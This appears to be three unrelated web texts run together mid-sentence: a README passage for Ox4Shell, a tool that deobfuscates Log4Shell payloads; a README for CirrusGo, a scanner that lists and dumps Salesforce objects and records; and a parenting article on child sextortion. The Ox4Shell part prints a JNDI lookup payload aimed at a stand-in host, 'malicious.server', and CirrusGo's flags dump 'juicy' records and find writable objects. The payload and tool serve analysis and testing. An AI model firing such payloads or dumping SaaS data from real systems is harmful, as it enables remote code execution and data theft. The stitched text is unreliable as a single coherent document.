The Log4j library has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted.
Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value.
The default set of mock data provided is:
{
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability:
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a}The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.
A fast tool to scan SAAS,PAAS App written in Go
SAAS App Support :
Note flag -o output not working
install : golang 1.18Ver
go install -v github.com/Ph33rr/cirrusgo/cmd/cirrusgo@latest
or
go install -v github.com/Ph33rr/CirrusGo/cmd/cirrusgo@latest
Help:
cirrusgo --help ______ _ ______
/ ____/(_)_____ _____ __ __ _____ / ____/____
/ / / // ___// ___// / / // ___// / __ / __ \
/ /___ / // / / / / /_/ /(__ )/ /_/ // /_/ /
\____//_//_/ /_/ \__,_//____/ \____/ \____/ v0.0.1
cirrusgo --help
-u, --url <URL> Define single URL to fuzz
-l, --list Show App List
-c, --check only check endpoint
-V, --version Show current version
-h, --help Display its help
[cirrusgo [app] [options] ..]
cirrusgo salesforce --help
-u, --url <URL> Define single URL
-c, --check only check endpoint
-lobj, --listobj pull the object list.
-gobj --getobj pull the object.
-obj --objects set the object name. Default value is "User" object.
Juicy Objects: Case,Account,User,Contact,Document,Cont
entDocument,ContentVersion,ContentBody,CaseComment,Not
e,Employee,Attachment,EmailMessage,CaseExternalDocumen
t,Attachment,Lead,Name,EmailTemplate,EmailMessageRelation
-gre --getrecord pull the Record id.
-re --recordid set the recode id to dump the record
-cw --chkWritable check all Writable objects
-f, --full dump all pages of objects.
--dump
-H, --header <HEADER> Pass custom header to target
-proxy, --proxy <URL> Use proxy to fuzz
-o, --output <FILE> File to save results
[flags payload]
[command: cirrusgo salesforce --payload options]
-payload, --payload Generator payload for test manual Default "ObjectList"
GetItems -obj set object
-page set page
-pages set pageSize
GetRecord -re set recoder id
WritableOBJ -obj set object
SearchObj -obj set object
-page set page
-pages set pageSize
AuraContext -fwuid set UID
-App set AppName
-markup set markup
ObjectList no options
Dump no options
-h, --help Display its help
Example :
cirrusgo salesforce -u https://loclhost -gobjdump:
cirrusgo salesforce -u https://localhost/ -fcheck Writable Objects:
cirusgo salesforce -u https://localhost/ -cwSextortion is a nightmare scenario no parent wants to contemplate, yet recent FBI reports indicate a distressing rise in cases targeting children and teens. From 2021 to 2023, the FBI and Homeland Security Investigations received over 13,000 reports of online financial sextortion of minors, making understanding this digital threat crucial for parents.
According to the FBI, this sextortion often starts when young people believe they are communicating with someone their age who is interested in a relationship or with someone who is offering something of value. This catfish (false profile) relationship usually involves the predator using gifts, money, flattery, lies, or other methods to get a young person to produce an image. Initial contact can occur through various digital platforms, from messaging apps to gaming sites. Once the perpetrator obtains compromising content such as risky photos or videos, they escalate threats, including publication or physical harm if more material isn’t provided. This harrowing ordeal can evoke shame and fear, often trapping victims in silence.
The emotional toll of sextortion is profound, with some victims enduring relentless harassment and threats. Despite rarely seeking physical encounters, perpetrators inflict lasting trauma on their victims.
Discuss the reality of sextortion with your child and emphasize the importance of connecting only with known individuals online. Along with a discussion, act. Enforce strict privacy settings and parental controls on devices to monitor online activity and filter inappropriate content.
Some essential safety protocols kids should follow online are worthy of repeating. They are:
A sextortion situation for a child can be incredibly confusing and cause them to isolate and avoid telling anyone about it. Remind your child and be clear that they will never be in trouble for coming to you with any problem. Let them know that sextortion is a crime for the perpetrator and that they have not broken any laws by sending photos (despite what an abuser might have told them).
There’s no argument that parenting today has its own challenges distinct from generations past. The threat of online sextortion demands parents understand and engage with their child’s online activity at a whole new level. While the bad actors online are out to exploit and ruin our digital spaces, it’s important to maintain a healthy perspective rather than responding with fear. Remind your kids that there’s an army of people even more dedicated than the criminals; people like the FBI who are out to stop online crime and keep the internet safe for families.
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